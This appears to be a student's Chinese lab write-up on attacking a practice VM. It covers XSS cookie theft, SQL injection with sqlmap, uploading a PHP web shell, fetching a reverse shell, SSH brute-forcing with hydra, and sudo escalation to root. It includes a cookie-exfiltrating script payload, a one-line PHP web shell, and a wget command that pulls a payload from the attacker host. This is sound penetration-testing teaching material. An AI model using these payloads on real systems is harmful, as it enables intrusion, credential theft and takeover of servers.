信安lab3:XSS漏洞和SQL注入

目录

一、环境搭建

1. 靶机(虚拟机)

2. 攻击机(Kali虚拟机)

二、利用XSS漏洞偷取Cookie

1. 获取靶机IP

2. 扫描靶机的端口

3. xss漏洞发现

4. 重启靶机,清空刚才的测试数据

5. 监听80端口

6. 盗取cookie

7. 修改cookie直接登录

 三、利用SQL注入获取admin密码

1. 发现SQL注入漏洞

2. 获取Request Headers

3. 用sqlmap扫描漏洞

4. 用sqlmap扫描数据库

5. 用sqlmap扫描blog数据库,得到表信息

6. 查看用户密码

四、 获取Web Shell

1. 把木马文件上传到靶机

2. 运行Web Shell

五、获取Shell

1. 下载ReverseShell并上传到靶机

2. 获取shell

六、获取root Shell

1. 破解靶机用户的密码

2. 远程登录靶机的user用户

3. 获取rootShell


一、环境搭建

1. 靶机(虚拟机)

在VMware中新建虚拟机,选择“典型”,载入靶机的iso镜像

2. 攻击机(Kali虚拟机)

在Kali官网下载VMware专供的虚拟机,解压后,在VMware里通过“文件—打开”直接打开(不需要创建虚拟机)。启动后,默认用户名:kali,默认密码:kali

二、利用XSS漏洞偷取Cookie

1. 获取靶机IP

可以在靶机终端输入ifconfig命令,得到IP地址

 也可以在kali终端输入 netdiscover -r 192.168.0.0/16 指令扫描开放的IP,从而找到靶机IP

2. 扫描靶机的端口

在kali终端输入命令扫描靶机的端口(IP地址改为靶机的IP)

nmap -sC -sV -p- 192.168.18.133 -n -vv --min-rate=2000

得到下图的结果,可以看到靶机开放了22和80端口

3. xss漏洞发现

在kali中打开浏览器,输入靶机IP地址,可以访问到如下网页

 点击Test,出现输入框,在其中输入如下js代码,并提交

<script>alert('1+1')</script>

 可以看到刚才输入的 js 代码得到了执行,因此弹出了窗口。所以这里存在XSS漏洞

4. 重启靶机,清空刚才的测试数据

在靶机输入命令关闭靶机

sudo shutdown -h now

在VMware中重新启动靶机,然后在kali中浏览器重新访问靶机,可以发现刚才输入的数据没了

5. 监听80端口

在kali终端输入如下命令,开始监听80端口

python3 -m http.server 80

6. 盗取cookie

在网页中输入如下js代码并提交,用来盗取cookie(注意此处的IP是kali的)

<script>new Image().src="http://192.168.18.134/test.php?output="+document.cookie;</script>

查看监听窗口,得到cookie 

7. 修改cookie直接登录

在kali的浏览器中输入http://192.168.18.133/admin/login.php访问登录页,此时是未登录状态。

F12进入开发者模式,切换到console控制台,输入如下函数

function setCookie(cookieName,value,expiresTime,path){ 
    expiresTime = expiresTime || "Thu, 01-Jan-2030 00:00:01 GMT"; 
    path = path || "/"; 
    document.cookie=cookieName+ "=" +encodeURIComponent(value)+ "; expires="+ expiresTime+ "; path="+path; 
}

然后运行如下代码,调用上面定义的函数来设置Cookie(参数1为'PHPSESSID',参数2为刚才偷取的cookie)

setCookie('PHPSESSID', 'nrjvum2t3edcd2ep2iqfaiddi5');

修改Cookie后,在浏览器地址栏输入 http://192.168.18.133/admin/ (换成靶机IP),发现直接就登录成功了

点击Welcome后面的edit按钮,进入编辑页,此时修改地址栏中的id参数,可以查看不同用户的页面

 三、利用SQL注入获取admin密码

1. 发现SQL注入漏洞

在上面实验的基础上,在id参数后面加单引号,页面有报错信息,说明可以SQL注入

参数填写 1 and 1=1#  ,页面能够正常显示用户1的内容,注入成功

参数改为1 and 1=2#  ,发现页面没有显示用户1的内容,这是正常的,因为在数据库中对用户进行检索时,id=1 and 1=2 这个判断的bool值永远为假,没有用户符合要求

 

把id参数改回1

2. 获取Request Headers

F12进入开发者模式,切换到Network页,访问 http://192.168.18.133/admin/edit.php?id=1,得到请求文件,单击查看请求Headers,把Request Headers中的内容粘贴到一个空的txt文件中

注意在id参数后面加一个*号

 

3. 用sqlmap扫描漏洞

在终端中进入1.txt所在的目录,运行如下命令,扫描漏洞

sqlmap -r 1.txt

4. 用sqlmap扫描数据库

在终端中运行如下命令,扫描数据库

sqlmap -r 1.txt --dbs

 

5. 用sqlmap扫描blog数据库,得到表信息

 在终端中运行如下命令

 sqlmap -r 1.txt -D blog --tables

 

6. 查看用户密码

在终端中运行如下命令

sqlmap -r 1.txt -D blog --dump

四、 获取Web Shell

1. 把木马文件上传到靶机

使用vim新建一个2.txt文件,在文件写入如下代码

<?php system($_GET['cmd']) ?>

(用DirBuster读取靶机的文件目录,从而找到css目录。这一步我没有实现,这里直接假设知道css目录)

在终端运行入下命令,将2.txt文件转换成shell.php然后上传到目标主机的/var/www/css/中

sqlmap -r 1.txt --file-write="./2.txt" --file-dest="/var/www/css/shell.php"

在浏览器中输入 http://192.168.18.133/css/ 进入CSS目录,可以看到刚才上传的shell.php文件

2. 运行Web Shell

点击shell.php,提示不能执行空命令。因为我们需要给cmd传入参数,也就是我们想要执行的命令,才能成功运行这个php文件

在浏览器地址后面补全参数(注意空格别漏了) http://192.168.18.133/css/shell.php?cmd=ls -al ,此时页面上成功显示了ls命令的执行结果

至此,WebShell完成

五、获取Shell

1. 下载ReverseShell并上传到靶机

在kali的火狐浏览器中,安装插件HackTools

填写IP和端口

切换左侧标签页,下载ReverseShell

将下载得到的文件重命名为reverse.txt,移动到/var/www/html目录(如果无权限,可以sudo cp命令来复制)

开启攻击机kali的http服务,在终端输入如下命令(关闭http就把start改为stop)

sudo /etc/init.d/apache2 start

然后在浏览器中输入下面的地址,用WebShell把kali中的reverse.txt转换成s.php并上传到靶机中(注意修改IP)

http://192.168.18.133/css/shell.php?cmd=wget http://192.168.18.134/reverse.txt -O s.php

执行后,再用WebShell查看是否上传成功:在地址栏输入http://192.168.18.133/css/shell.php?cmd=ls

可以看到s.php已经成功上传,它就是我们刚才用HackTool下载的ReverseShell

2. 获取shell

在kali终端中输入如下命令,监听8080端口

nc -lvvp 8080

在浏览器地址中输入http://192.168.18.133/css/s.php运行s.php,查看监听的结果,发现已经进入了靶机的shell,可以在kali中对靶机执行shell命令

至此,实验要求2完成,拿到了靶机的shell

六、获取root Shell

1. 破解靶机用户的密码

进入/home目录,发现有个user用户

查看/etc/passwd

进入user目录,有个.su-to-rootrc文件夹,尝试进入,失败 

 

新建一个密码字典文件passwd.txt,向其中填入枚举的密码

新建一个用户字典文件user.txt,向其中填入想要破解的用户名

在kali终端中运行如下命令,用密码字典对user.txt中的用户进行破解

hydra -l /home/kali/Desktop/user.txt -P /home/kali/Desktop/passwd.txt 192.168.18.133 ssh

执行上面的命令报错,跟hds同学讨论,可能是kali中的hydra软件有什么问题,于是改用windows下的hydra来实现破解

下载thc-hydra-windows,解压。同样创建user.txt和passwd.txt,然后在hydra.exe所在目录中运行如下终端代码:(路径和IP自己修改)

hydra.exe -L d:\user.txt -P d:\passwd.txt 192.168.18.133 ssh

可以看到成功破解,得到了user用户的密码为live

2. 远程登录靶机的user用户

在windows中使用Xshell连接到靶机,使用用户名:user和密码:live进行登录(Xshell教程

3. 获取rootShell

在Xshell中查看.su-to-rootrc文件

cd /home/user
cat .su-to-rootrc

查看user用户能执行哪些高权限命令

sudo -l

 

 可以看到root是不需要密码的,那么我们切换到root权限,并查看当前用户

sudo -i
whoami

 至此,拿到了root shell

  • 3
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值